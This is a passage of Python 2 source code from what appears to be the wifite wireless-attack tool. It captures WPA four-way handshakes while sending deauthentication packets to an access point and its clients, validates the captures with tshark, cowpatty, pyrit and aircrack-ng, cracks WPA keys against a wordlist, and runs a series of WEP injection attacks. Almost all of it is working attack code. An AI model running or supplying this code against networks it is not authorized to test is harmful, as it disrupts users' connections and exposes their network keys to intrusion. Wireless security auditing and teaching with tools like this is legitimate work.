  2046.             while line.find('  ') != -1: line = line.replace('  ', ' ')
  2047.             return line.split(' ')[2]
  2048.         elif line.endswith('Key (msg 2/4)') or line.endswith('Key (msg 4/4)'):
  2049.             while line.startswith(' ') or line.startswith('\t'): line = line[1:]
  2050.             line = line.replace('\t', ' ')
  2051.             while line.find('  ') != -1: line = line.replace('  ', ' ')
  2052.             return line.split(' ')[4]
  2053.     return ''
  2054.  
  2055.  
  2056. def attack_interrupted_prompt():
  2057.     """
  2058.        Promps user to decide if they want to exit,
  2059.        skip to cracking WPA handshakes,
  2060.        or continue attacking the remaining targets (if applicable).
  2061.        returns True if user chose to exit complete, False otherwise
  2062.    """
  2063.     global RUN_CONFIG
  2064.     should_we_exit = False
  2065.     # If there are more targets to attack, ask what to do next
  2066.     if RUN_CONFIG.TARGETS_REMAINING > 0:
  2067.         options = ''
  2068.         print GR + "\n [+] %s%d%s target%s remain%s" % (G, RUN_CONFIG.TARGETS_REMAINING, W,
  2069.                                                         '' if RUN_CONFIG.TARGETS_REMAINING == 1 else 's',
  2070.                                                         's' if RUN_CONFIG.TARGETS_REMAINING == 1 else '')
  2071.         print GR + " [+]" + W + " what do you want to do?"
  2072.         options += G + 'c' + W
  2073.         print G + "     [c]ontinue" + W + " attacking targets"
  2074.  
  2075.         if len(RUN_CONFIG.WPA_CAPS_TO_CRACK) > 0:
  2076.             options += W + ', ' + O + 's' + W
  2077.             print O + "     [s]kip" + W + " to cracking WPA cap files"
  2078.         options += W + ', or ' + R + 'e' + W
  2079.         print R + "     [e]xit" + W + " completely"
  2080.         ri = ''
  2081.         while ri != 'c' and ri != 's' and ri != 'e':
  2082.             ri = raw_input(GR + ' [+]' + W + ' please make a selection (%s): ' % options)
  2083.  
  2084.         if ri == 's':
  2085.             RUN_CONFIG.TARGETS_REMAINING = -1  # Tells start() to ignore other targets, skip to cracking
  2086.         elif ri == 'e':
  2087.             should_we_exit = True
  2088.     return should_we_exit
  2089.  
  2090.  
  2091. #
  2092. # Abstract base class for attacks.
  2093. # Attacks are required to implement the following methods:
  2094. #       RunAttack - Initializes the attack
  2095. #       EndAttack - Cleanly ends the attack
  2096. #
  2097. class Attack(object):
  2098.     __metaclass__ = abc.ABCMeta
  2099.  
  2100.     @abc.abstractmethod
  2101.     def RunAttack(self):
  2102.         raise NotImplementedError()
  2103.  
  2104.     @abc.abstractmethod
  2105.     def EndAttack(self):
  2106.         raise NotImplementedError()
  2107.  
  2108.  
  2109. #################
  2110. # WPA FUNCTIONS #
  2111. #################
  2112. class WPAAttack(Attack):
  2113.     def __init__(self, iface, target, clients, config):
  2114.         self.iface = iface
  2115.         self.clients = clients
  2116.         self.target = target
  2117.         self.RUN_CONFIG = config
  2118.  
  2119.     def RunAttack(self):
  2120.         '''
  2121.            Abstract method for initializing the WPA attack
  2122.        '''
  2123.         self.wpa_get_handshake()
  2124.  
  2125.     def EndAttack(self):
  2126.         '''
  2127.            Abstract method for ending the WPA attack
  2128.        '''
  2129.         pass
  2130.  
  2131.     def wpa_get_handshake(self):
  2132.         """
  2133.            Opens an airodump capture on the target, dumping to a file.
  2134.            During the capture, sends deauthentication packets to the target both as
  2135.            general deauthentication packets and specific packets aimed at connected clients.
  2136.            Waits until a handshake is captured.
  2137.                "iface"   - interface to capture on
  2138.                "target"  - Target object containing info on access point
  2139.                "clients" - List of Client objects associated with the target
  2140.            Returns True if handshake was found, False otherwise
  2141.        """
  2142.  
  2143.         if self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0: self.RUN_CONFIG.WPA_ATTACK_TIMEOUT = -1
  2144.  
  2145.         # Generate the filename to save the .cap file as <SSID>_aa-bb-cc-dd-ee-ff.cap
  2146.         save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \
  2147.                   + '_' + self.target.bssid.replace(':', '-') + '.cap'
  2148.  
  2149.         # Check if we already have a handshake for this SSID... If we do, generate a new filename
  2150.         save_index = 0
  2151.         while os.path.exists(save_as):
  2152.             save_index += 1
  2153.             save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \
  2154.                       + '_' + self.target.bssid.replace(':', '-') \
  2155.                       + '_' + str(save_index) + '.cap'
  2156.  
  2157.         # Remove previous airodump output files (if needed)
  2158.         remove_airodump_files(self.RUN_CONFIG.temp + 'wpa')
  2159.  
  2160.         # Start of large Try-Except; used for catching keyboard interrupt (Ctrl+C)
  2161.         try:
  2162.             # Start airodump-ng process to capture handshakes
  2163.             cmd = ['airodump-ng',
  2164.                    '-w', self.RUN_CONFIG.temp + 'wpa',
  2165.                    '-c', self.target.channel,
  2166.                    '--bssid', self.target.bssid, self.iface]
  2167.             proc_read = Popen(cmd, stdout=DN, stderr=DN)
  2168.  
  2169.             # Setting deauthentication process here to avoid errors later on
  2170.             proc_deauth = None
  2171.  
  2172.             print ' %s starting %swpa handshake capture%s on "%s"' % \
  2173.                   (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT) + W, G, W, G + self.target.ssid + W)
  2174.             got_handshake = False
  2175.  
  2176.             seconds_running = 0
  2177.  
  2178.             target_clients = self.clients[:]
  2179.             client_index = -1
  2180.             start_time = time.time()
  2181.             # Deauth and check-for-handshake loop
  2182.             while not got_handshake and (
  2183.                     self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0 or seconds_running < self.RUN_CONFIG.WPA_ATTACK_TIMEOUT):
  2184.                 if proc_read.poll() != None:
  2185.                     print ""
  2186.                     print "airodump-ng exited with status " + str(proc_read.poll())
  2187.                     print ""
  2188.                     break
  2189.                 time.sleep(1)
  2190.                 seconds_running = int(time.time() - start_time)
  2191.  
  2192.                 print "                                                          \r",
  2193.                 print ' %s listening for handshake...\r' % \
  2194.                       (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W),
  2195.                 stdout.flush()
  2196.  
  2197.                 if seconds_running % self.RUN_CONFIG.WPA_DEAUTH_TIMEOUT == 0:
  2198.                     # Send deauth packets via aireplay-ng
  2199.                     cmd = ['aireplay-ng',
  2200.                            '--ignore-negative-one',
  2201.                            '-0',  # Attack method (Deauthentication)
  2202.                            str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),  # Number of packets to send
  2203.                            '-a', self.target.bssid]
  2204.  
  2205.                     client_index += 1
  2206.  
  2207.                     if client_index == -1 or len(target_clients) == 0 or client_index >= len(target_clients):
  2208.                         print " %s sending %s deauth to %s*broadcast*%s..." % \
  2209.                               (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W,
  2210.                                G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT) + W, G, W),
  2211.                         client_index = -1
  2212.                     else:
  2213.                         print " %s sending %s deauth to %s... " % \
  2214.                               (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, \
  2215.                                G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT) + W, \
  2216.                                G + target_clients[client_index].bssid + W),
  2217.                         cmd.append('-h')
  2218.                         cmd.append(target_clients[client_index].bssid)
  2219.                     cmd.append(self.iface)
  2220.                     stdout.flush()
  2221.  
  2222.                     # Send deauth packets via aireplay, wait for them to complete.
  2223.                     proc_deauth = Popen(cmd, stdout=DN, stderr=DN)
  2224.                     proc_deauth.wait()
  2225.                     print "sent\r",
  2226.                     stdout.flush()
  2227.  
  2228.                 # Copy current dump file for consistency
  2229.                 if not os.path.exists(self.RUN_CONFIG.temp + 'wpa-01.cap'): continue
  2230.                 copy(self.RUN_CONFIG.temp + 'wpa-01.cap', self.RUN_CONFIG.temp + 'wpa-01.cap.temp')
  2231.  
  2232.                 # Save copy of cap file (for debugging)
  2233.                 #remove_file('/root/new/wpa-01.cap')
  2234.                 #copy(temp + 'wpa-01.cap', '/root/new/wpa-01.cap')
  2235.  
  2236.                 # Check for handshake
  2237.                 if self.has_handshake(self.target, self.RUN_CONFIG.temp + 'wpa-01.cap.temp'):
  2238.                     got_handshake = True
  2239.  
  2240.                     try:
  2241.                         os.mkdir(self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep)
  2242.                     except OSError:
  2243.                         pass
  2244.  
  2245.                     # Kill the airodump and aireplay processes
  2246.                     send_interrupt(proc_read)
  2247.                     send_interrupt(proc_deauth)
  2248.  
  2249.                     # Save a copy of the handshake
  2250.                     rename(self.RUN_CONFIG.temp + 'wpa-01.cap.temp', save_as)
  2251.  
  2252.                     print '\n %s %shandshake captured%s! saved as "%s"' % (
  2253.                     GR + sec_to_hms(seconds_running) + W, G, W, G + save_as + W)
  2254.                     self.RUN_CONFIG.WPA_FINDINGS.append(
  2255.                         '%s (%s) handshake captured' % (self.target.ssid, self.target.bssid))
  2256.                     self.RUN_CONFIG.WPA_FINDINGS.append('saved as %s' % (save_as))
  2257.                     self.RUN_CONFIG.WPA_FINDINGS.append('')
  2258.  
  2259.                     # Strip handshake if needed
  2260.                     if self.RUN_CONFIG.WPA_STRIP_HANDSHAKE: self.strip_handshake(save_as)
  2261.  
  2262.                     # Add the filename and SSID to the list of 'to-crack'
  2263.                     # Cracking will be handled after all attacks are finished.
  2264.                     self.RUN_CONFIG.WPA_CAPS_TO_CRACK.append(CapFile(save_as, self.target.ssid, self.target.bssid))
  2265.  
  2266.                     break  # Break out of while loop
  2267.  
  2268.                 # No handshake yet
  2269.                 os.remove(self.RUN_CONFIG.temp + 'wpa-01.cap.temp')
  2270.  
  2271.                 # Check the airodump output file for new clients
  2272.                 for client in self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wpa-01.csv')[1]:
  2273.                     if client.station != self.target.bssid: continue
  2274.                     new_client = True
  2275.                     for c in target_clients:
  2276.                         if client.bssid == c.bssid:
  2277.                             new_client = False
  2278.                             break
  2279.  
  2280.                     if new_client:
  2281.                         print " %s %snew client%s found: %s                         " % \
  2282.                               (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, G, W, \
  2283.                                G + client.bssid + W)
  2284.                         target_clients.append(client)
  2285.  
  2286.             # End of Handshake wait loop.
  2287.  
  2288.             if not got_handshake:
  2289.                 print R + ' [0:00:00]' + O + ' unable to capture handshake in time' + W
  2290.  
  2291.         except KeyboardInterrupt:
  2292.             print R + '\n (^C)' + O + ' WPA handshake capture interrupted' + W
  2293.             if attack_interrupted_prompt():
  2294.                 remove_airodump_files(self.RUN_CONFIG.temp + 'wpa')
  2295.                 send_interrupt(proc_read)
  2296.                 send_interrupt(proc_deauth)
  2297.                 print ''
  2298.                 self.RUN_CONFIG.exit_gracefully(0)
  2299.  
  2300.  
  2301.         # clean up
  2302.         remove_airodump_files(self.RUN_CONFIG.temp + 'wpa')
  2303.         send_interrupt(proc_read)
  2304.         send_interrupt(proc_deauth)
  2305.  
  2306.         return got_handshake
  2307.  
  2308.     def has_handshake_tshark(self, target, capfile):
  2309.         """
  2310.            Uses TShark to check for a handshake.
  2311.            Returns "True" if handshake is found, false otherwise.
  2312.        """
  2313.         if program_exists('tshark'):
  2314.             # Call Tshark to return list of EAPOL packets in cap file.
  2315.             cmd = ['tshark',
  2316.                    '-r', capfile,  # Input file
  2317.                    '-R', 'eapol',  # Filter (only EAPOL packets)
  2318.                    '-n']  # Do not resolve names (MAC vendors)
  2319.             proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2320.             proc.wait()
  2321.             lines = proc.communicate()[0].split('\n')
  2322.  
  2323.             # Get list of all clients in cap file
  2324.             clients = []
  2325.             for line in lines:
  2326.                 if line.find('appears to have been cut short') != -1 or line.find(
  2327.                         'Running as user "root"') != -1 or line.strip() == '':
  2328.                     continue
  2329.  
  2330.                 while line.startswith(' '):  line = line[1:]
  2331.                 while line.find('  ') != -1: line = line.replace('  ', ' ')
  2332.  
  2333.                 fields = line.split(' ')
  2334.                 # ensure tshark dumped correct info
  2335.                 if len(fields) < 5:
  2336.                     continue
  2337.  
  2338.                 src = fields[2].lower()
  2339.                 dst = fields[4].lower()
  2340.  
  2341.                 if src == target.bssid.lower() and clients.count(dst) == 0:
  2342.                     clients.append(dst)
  2343.                 elif dst == target.bssid.lower() and clients.count(src) == 0:
  2344.                     clients.append(src)
  2345.  
  2346.             # Check each client for a handshake
  2347.             for client in clients:
  2348.                 msg_num = 1  # Index of message in 4-way handshake (starts at 1)
  2349.  
  2350.                 for line in lines:
  2351.                     if line.find('appears to have been cut short') != -1: continue
  2352.                     if line.find('Running as user "root"') != -1: continue
  2353.                     if line.strip() == '': continue
  2354.  
  2355.                     # Sanitize tshark's output, separate into fields
  2356.                     while line[0] == ' ': line = line[1:]
  2357.                     while line.find('  ') != -1: line = line.replace('  ', ' ')
  2358.  
  2359.                     fields = line.split(' ')
  2360.  
  2361.                     # Sometimes tshark doesn't display the full header for "Key (msg 3/4)" on the 3rd handshake.
  2362.                     # This catches this glitch and fixes it.
  2363.                     if len(fields) < 8:
  2364.                         continue
  2365.                     elif len(fields) == 8:
  2366.                         fields.append('(msg')
  2367.                         fields.append('3/4)')
  2368.  
  2369.                     src = fields[2].lower()  # Source MAC address
  2370.                     dst = fields[4].lower()  # Destination MAC address
  2371.                     #msg = fields[9][0]      # The message number (1, 2, 3, or 4)
  2372.                     msg = fields[-1][0]
  2373.  
  2374.                     # First, third msgs in 4-way handshake are from the target to client
  2375.                     if msg_num % 2 == 1 and (src != target.bssid.lower() or dst != client):
  2376.                         continue
  2377.                     # Second, fourth msgs in 4-way handshake are from client to target
  2378.                     elif msg_num % 2 == 0 and (dst != target.bssid.lower() or src != client):
  2379.                         continue
  2380.  
  2381.                     # The messages must appear in sequential order.
  2382.                     try:
  2383.                         if int(msg) != msg_num: continue
  2384.                     except ValueError:
  2385.                         continue
  2386.  
  2387.                     msg_num += 1
  2388.  
  2389.                     # We need the first 4 messages of the 4-way handshake
  2390.                     # Although aircrack-ng cracks just fine with only 3 of the messages...
  2391.                     if msg_num >= 4:
  2392.                         return True
  2393.         return False
  2394.  
  2395.     def has_handshake_cowpatty(self, target, capfile, nonstrict=True):
  2396.         """
  2397.            Uses cowpatty to check for a handshake.
  2398.            Returns "True" if handshake is found, false otherwise.
  2399.        """
  2400.         if not program_exists('cowpatty'): return False
  2401.  
  2402.         # Call cowpatty to check if capfile contains a valid handshake.
  2403.         cmd = ['cowpatty',
  2404.                '-r', capfile,  # input file
  2405.                '-s', target.ssid,  # SSID
  2406.                '-c']  # Check for handshake
  2407.         # Uses frames 1, 2, or 3 for key attack
  2408.         if nonstrict: cmd.append('-2')
  2409.         proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2410.         proc.wait()
  2411.         response = proc.communicate()[0]
  2412.         if response.find('incomplete four-way handshake exchange') != -1:
  2413.             return False
  2414.         elif response.find('Unsupported or unrecognized pcap file.') != -1:
  2415.             return False
  2416.         elif response.find('Unable to open capture file: Success') != -1:
  2417.             return False
  2418.         return True
  2419.  
  2420.     def has_handshake_pyrit(self, target, capfile):
  2421.         """
  2422.            Uses pyrit to check for a handshake.
  2423.            Returns "True" if handshake is found, false otherwise.
  2424.        """
  2425.         if not program_exists('pyrit'): return False
  2426.  
  2427.         # Call pyrit to "Analyze" the cap file's handshakes.
  2428.         cmd = ['pyrit',
  2429.                '-r', capfile,
  2430.                'analyze']
  2431.         proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2432.         proc.wait()
  2433.         hit_essid = False
  2434.         for line in proc.communicate()[0].split('\n'):
  2435.             # Iterate over every line of output by Pyrit
  2436.             if line == '' or line == None: continue
  2437.             if line.find("AccessPoint") != -1:
  2438.                 hit_essid = (line.find("('" + target.ssid + "')") != -1) and \
  2439.                             (line.lower().find(target.bssid.lower()) != -1)
  2440.                 #hit_essid = (line.lower().find(target.bssid.lower()))
  2441.  
  2442.             else:
  2443.                 # If Pyrit says it's good or workable, it's a valid handshake.
  2444.                 if hit_essid and (line.find(', good, ') != -1 or \
  2445.                                               line.find(', workable, ') != -1):
  2446.                     return True
  2447.         return False
  2448.  
  2449.     def has_handshake_aircrack(self, target, capfile):
  2450.         """
  2451.            Uses aircrack-ng to check for handshake.
  2452.            Returns True if found, False otherwise.
  2453.        """
  2454.         if not program_exists('aircrack-ng'): return False
  2455.         crack = 'echo "" | aircrack-ng -a 2 -w - -b ' + target.bssid + ' ' + capfile
  2456.         proc_crack = Popen(crack, stdout=PIPE, stderr=DN, shell=True)
  2457.         proc_crack.wait()
  2458.         txt = proc_crack.communicate()[0]
  2459.  
  2460.         return (txt.find('Passphrase not in dictionary') != -1)
  2461.  
  2462.     def has_handshake(self, target, capfile):
  2463.         """
  2464.            Checks if .cap file contains a handshake.
  2465.            Returns True if handshake is found, False otherwise.
  2466.        """
  2467.         valid_handshake = True
  2468.         tried = False
  2469.         if self.RUN_CONFIG.WPA_HANDSHAKE_TSHARK:
  2470.             tried = True
  2471.             valid_handshake = self.has_handshake_tshark(target, capfile)
  2472.  
  2473.         if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY:
  2474.             tried = True
  2475.             valid_handshake = self.has_handshake_cowpatty(target, capfile)
  2476.  
  2477.         # Use CowPatty to check for handshake.
  2478.         if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY:
  2479.             tried = True
  2480.             valid_handshake = self.has_handshake_cowpatty(target, capfile)
  2481.  
  2482.         # Check for handshake using Pyrit if applicable
  2483.         if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_PYRIT:
  2484.             tried = True
  2485.             valid_handshake = self.has_handshake_pyrit(target, capfile)
  2486.  
  2487.         # Check for handshake using aircrack-ng
  2488.         if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_AIRCRACK:
  2489.             tried = True
  2490.             valid_handshake = self.has_handshake_aircrack(target, capfile)
  2491.  
  2492.         if tried: return valid_handshake
  2493.         print R + ' [!]' + O + ' unable to check for handshake: all handshake options are disabled!'
  2494.         self.RUN_CONFIG.exit_gracefully(1)
  2495.  
  2496.     def strip_handshake(self, capfile):
  2497.         """
  2498.            Uses Tshark or Pyrit to strip all non-handshake packets from a .cap file
  2499.            File in location 'capfile' is overwritten!
  2500.        """
  2501.         output_file = capfile
  2502.         if program_exists('pyrit'):
  2503.             cmd = ['pyrit',
  2504.                    '-r', capfile,
  2505.                    '-o', output_file,
  2506.                    'stripLive']
  2507.             call(cmd, stdout=DN, stderr=DN)
  2508.  
  2509.         elif program_exists('tshark'):
  2510.             # strip results with tshark
  2511.             cmd = ['tshark',
  2512.                    '-r', capfile,  # input file
  2513.                    '-R', 'eapol || wlan_mgt.tag.interpretation',  # filter
  2514.                    '-w', capfile + '.temp']  # output file
  2515.             proc_strip = call(cmd, stdout=DN, stderr=DN)
  2516.  
  2517.             rename(capfile + '.temp', output_file)
  2518.  
  2519.         else:
  2520.             print R + " [!]" + O + " unable to strip .cap file: neither pyrit nor tshark were found" + W
  2521.  
  2522.  
  2523. ##########################
  2524. # WPA CRACKING FUNCTIONS #
  2525. ##########################
  2526. def wpa_crack(capfile, RUN_CONFIG):
  2527.     """
  2528.        Cracks cap file using aircrack-ng
  2529.        This is crude and slow. If people want to crack using pyrit or cowpatty or oclhashcat,
  2530.        they can do so manually.
  2531.    """
  2532.     if RUN_CONFIG.WPA_DICTIONARY == '':
  2533.         print R + ' [!]' + O + ' no WPA dictionary found! use -dict <file> command-line argument' + W
  2534.         return False
  2535.  
  2536.     print GR + ' [0:00:00]' + W + ' cracking %s with %s' % (G + capfile.ssid + W, G + 'aircrack-ng' + W)
  2537.     start_time = time.time()
  2538.     cracked = False
  2539.  
  2540.     remove_file(RUN_CONFIG.temp + 'out.out')
  2541.     remove_file(RUN_CONFIG.temp + 'wpakey.txt')
  2542.  
  2543.     cmd = ['aircrack-ng',
  2544.            '-a', '2',  # WPA crack
  2545.            '-w', RUN_CONFIG.WPA_DICTIONARY,  # Wordlist
  2546.            '-l', RUN_CONFIG.temp + 'wpakey.txt',  # Save key to file
  2547.            '-b', capfile.bssid,  # BSSID of target
  2548.            capfile.filename]
  2549.  
  2550.     proc = Popen(cmd, stdout=open(RUN_CONFIG.temp + 'out.out', 'a'), stderr=DN)
  2551.     try:
  2552.         kt = 0  # Keys tested
  2553.         kps = 0  # Keys per second
  2554.         while True:
  2555.             time.sleep(1)
  2556.  
  2557.             if proc.poll() != None:  # aircrack stopped
  2558.                 if os.path.exists(RUN_CONFIG.temp + 'wpakey.txt'):
  2559.                     # Cracked
  2560.                     inf = open(RUN_CONFIG.temp + 'wpakey.txt')
  2561.                     key = inf.read().strip()
  2562.                     inf.close()
  2563.                     RUN_CONFIG.WPA_FINDINGS.append('cracked wpa key for "%s" (%s): "%s"' % (
  2564.                     G + capfile.ssid + W, G + capfile.bssid + W, C + key + W))
  2565.                     RUN_CONFIG.WPA_FINDINGS.append('')
  2566.                     t = Target(capfile.bssid, 0, 0, 0, 'WPA', capfile.ssid)
  2567.                     t.key = key
  2568.                     RUN_CONFIG.save_cracked(t)
  2569.  
  2570.                     print GR + '\n [+]' + W + ' cracked %s (%s)!' % (G + capfile.ssid + W, G + capfile.bssid + W)
  2571.                     print GR + ' [+]' + W + ' key:    "%s"\n' % (C + key + W)
  2572.                     cracked = True
  2573.                 else:
  2574.                     # Did not crack
  2575.                     print R + '\n [!]' + R + 'crack attempt failed' + O + ': passphrase not in dictionary' + W
  2576.                 break
  2577.  
  2578.             inf = open(RUN_CONFIG.temp + 'out.out', 'r')
  2579.             lines = inf.read().split('\n')
  2580.             inf.close()
  2581.             outf = open(RUN_CONFIG.temp + 'out.out', 'w')
  2582.             outf.close()
  2583.             for line in lines:
  2584.                 i = line.find(']')
  2585.                 j = line.find('keys tested', i)
  2586.                 if i != -1 and j != -1:
  2587.                     kts = line[i + 2:j - 1]
  2588.                     try:
  2589.                         kt = int(kts)
  2590.                     except ValueError:
  2591.                         pass
  2592.                 i = line.find('(')
  2593.                 j = line.find('k/s)', i)
  2594.                 if i != -1 and j != -1:
  2595.                     kpss = line[i + 1:j - 1]
  2596.                     try:
  2597.                         kps = float(kpss)
  2598.                     except ValueError:
  2599.                         pass
  2600.  
  2601.             print "\r %s %s keys tested (%s%.2f keys/sec%s)   " % \
  2602.                   (GR + sec_to_hms(time.time() - start_time) + W, G + add_commas(kt) + W, G, kps, W),
  2603.             stdout.flush()
  2604.  
  2605.     except KeyboardInterrupt:
  2606.         print R + '\n (^C)' + O + ' WPA cracking interrupted' + W
  2607.  
  2608.     send_interrupt(proc)
  2609.     try:
  2610.         os.kill(proc.pid, SIGTERM)
  2611.     except OSError:
  2612.         pass
  2613.  
  2614.     return cracked
  2615.  
  2616.  
  2617. def add_commas(n):
  2618.     """
  2619.        Receives integer n, returns string representation of n with commas in thousands place.
  2620.        I'm sure there's easier ways of doing this... but meh.
  2621.    """
  2622.     strn = str(n)
  2623.     lenn = len(strn)
  2624.     i = 0
  2625.     result = ''
  2626.     while i < lenn:
  2627.         if (lenn - i) % 3 == 0 and i != 0: result += ','
  2628.         result += strn[i]
  2629.         i += 1
  2630.     return result
  2631.  
  2632.  
  2633. #################
  2634. # WEP FUNCTIONS #
  2635. #################
  2636. class WEPAttack(Attack):
  2637.     def __init__(self, iface, target, clients, config):
  2638.         self.iface = iface
  2639.         self.target = target
  2640.         self.clients = clients
  2641.         self.RUN_CONFIG = config
  2642.  
  2643.     def RunAttack(self):
  2644.         '''
  2645.            Abstract method for dispatching the WEP crack
  2646.        '''
  2647.         self.attack_wep()
  2648.  
  2649.     def EndAttack(self):
  2650.         '''
  2651.            Abstract method for ending the WEP attack
  2652.        '''
  2653.         pass
  2654.  
  2655.     def attack_wep(self):
  2656.         """
  2657.        Attacks WEP-encrypted network.
  2658.        Returns True if key was successfully found, False otherwise.
  2659.        """
  2660.         if self.RUN_CONFIG.WEP_TIMEOUT <= 0: self.RUN_CONFIG.WEP_TIMEOUT = -1
  2661.  
  2662.         total_attacks = 6  # 4 + (2 if len(clients) > 0 else 0)
  2663.         if not self.RUN_CONFIG.WEP_ARP_REPLAY: total_attacks -= 1
  2664.         if not self.RUN_CONFIG.WEP_CHOPCHOP:   total_attacks -= 1
  2665.         if not self.RUN_CONFIG.WEP_FRAGMENT:   total_attacks -= 1
  2666.         if not self.RUN_CONFIG.WEP_CAFFELATTE: total_attacks -= 1
  2667.         if not self.RUN_CONFIG.WEP_P0841:      total_attacks -= 1
  2668.         if not self.RUN_CONFIG.WEP_HIRTE:      total_attacks -= 1
  2669.  
  2670.         if total_attacks <= 0:
  2671.             print R + ' [!]' + O + ' unable to initiate WEP attacks: no attacks are selected!'
  2672.             return False
  2673.         remaining_attacks = total_attacks
  2674.  
  2675.         print ' %s preparing attack "%s" (%s)' % \
  2676.               (GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W, G + self.target.bssid + W)
  2677.  
  2678.         remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2679.         remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2680.  
  2681.         # Start airodump process to capture packets
  2682.         cmd_airodump = ['airodump-ng',
  2683.                         '-w', self.RUN_CONFIG.temp + 'wep',  # Output file name (wep-01.cap, wep-01.csv)
  2684.                         '-c', self.target.channel,  # Wireless channel
  2685.                         '--bssid', self.target.bssid,
  2686.                         self.iface]
  2687.         proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
  2688.         proc_aireplay = None
  2689.         proc_aircrack = None
  2690.  
  2691.         successful = False  # Flag for when attack is successful
  2692.         started_cracking = False  # Flag for when we have started aircrack-ng
  2693.         client_mac = ''  # The client mac we will send packets to/from
  2694.  
  2695.         total_ivs = 0
  2696.         ivs = 0
  2697.         last_ivs = 0
  2698.         for attack_num in xrange(0, 6):
  2699.  
  2700.             # Skip disabled attacks
  2701.             if attack_num == 0 and not self.RUN_CONFIG.WEP_ARP_REPLAY:
  2702.                 continue
  2703.             elif attack_num == 1 and not self.RUN_CONFIG.WEP_CHOPCHOP:
  2704.                 continue
  2705.             elif attack_num == 2 and not self.RUN_CONFIG.WEP_FRAGMENT:
  2706.                 continue
  2707.             elif attack_num == 3 and not self.RUN_CONFIG.WEP_CAFFELATTE:
  2708.                 continue
  2709.             elif attack_num == 4 and not self.RUN_CONFIG.WEP_P0841:
  2710.                 continue
  2711.             elif attack_num == 5 and not self.RUN_CONFIG.WEP_HIRTE:
  2712.                 continue
  2713.  
  2714.             remaining_attacks -= 1
  2715.  
  2716.             try:
  2717.  
  2718.                 if self.wep_fake_auth(self.iface, self.target, sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)):
  2719.                     # Successful fake auth
  2720.                     client_mac = self.RUN_CONFIG.THIS_MAC
  2721.                 elif not self.RUN_CONFIG.WEP_IGNORE_FAKEAUTH:
  2722.                     send_interrupt(proc_aireplay)
  2723.                     send_interrupt(proc_airodump)
  2724.                     print R + ' [!]' + O + ' unable to fake-authenticate with target'
  2725.                     print R + ' [!]' + O + ' to skip this speed bump, select "ignore-fake-auth" at command-line'
  2726.                     return False
  2727.  
  2728.                 remove_file(self.RUN_CONFIG.temp + 'arp.cap')
  2729.                 # Generate the aireplay-ng arguments based on attack_num and other params
  2730.                 cmd = self.get_aireplay_command(self.iface, attack_num, self.target, self.clients, client_mac)
  2731.                 if cmd == '': continue
  2732.                 if proc_aireplay != None:
  2733.                     send_interrupt(proc_aireplay)
  2734.                 proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  2735.  
  2736.                 print '\r %s attacking "%s" via' % (
  2737.                 GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W),
  2738.                 if attack_num == 0:
  2739.                     print G + 'arp-replay',
  2740.                 elif attack_num == 1:
  2741.                     print G + 'chop-chop',
  2742.                 elif attack_num == 2:
  2743.                     print G + 'fragmentation',
  2744.                 elif attack_num == 3:
  2745.                     print G + 'caffe-latte',
  2746.                 elif attack_num == 4:
  2747.                     print G + 'p0841',
  2748.                 elif attack_num == 5:
  2749.                     print G + 'hirte',
  2750.                 print 'attack' + W
  2751.  
  2752.                 print ' %s captured %s%d%s ivs @ %s iv/sec' % (
  2753.                 GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G, total_ivs, W, G + '0' + W),
  2754.                 stdout.flush()
  2755.  
  2756.                 time.sleep(1)
  2757.                 if attack_num == 1:
  2758.                     # Send a deauth packet to broadcast and all clients *just because!*
  2759.                     self.wep_send_deauths(self.iface, self.target, self.clients)
  2760.                 last_deauth = time.time()
  2761.  
  2762.                 replaying = False
  2763.                 time_started = time.time()
  2764.                 while time.time() - time_started < self.RUN_CONFIG.WEP_TIMEOUT:
  2765.                     # time.sleep(5)
  2766.                     for time_count in xrange(0, 6):
  2767.                         if self.RUN_CONFIG.WEP_TIMEOUT == -1:
  2768.                             current_hms = "[endless]"
  2769.                         else:
  2770.                             current_hms = sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT - (time.time() - time_started))
  2771.                         print "\r %s\r" % (GR + current_hms + W),
  2772.                         stdout.flush()
  2773.                         time.sleep(1)
  2774.  
  2775.                     # Calculates total seconds remaining
  2776.  
  2777.                     # Check number of IVs captured
  2778.                     csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wep-01.csv')[0]
  2779.                     if len(csv) > 0:
  2780.                         ivs = int(csv[0].data)
  2781.                         print "\r                                                   ",
  2782.                         print "\r %s captured %s%d%s ivs @ %s%d%s iv/sec" % \
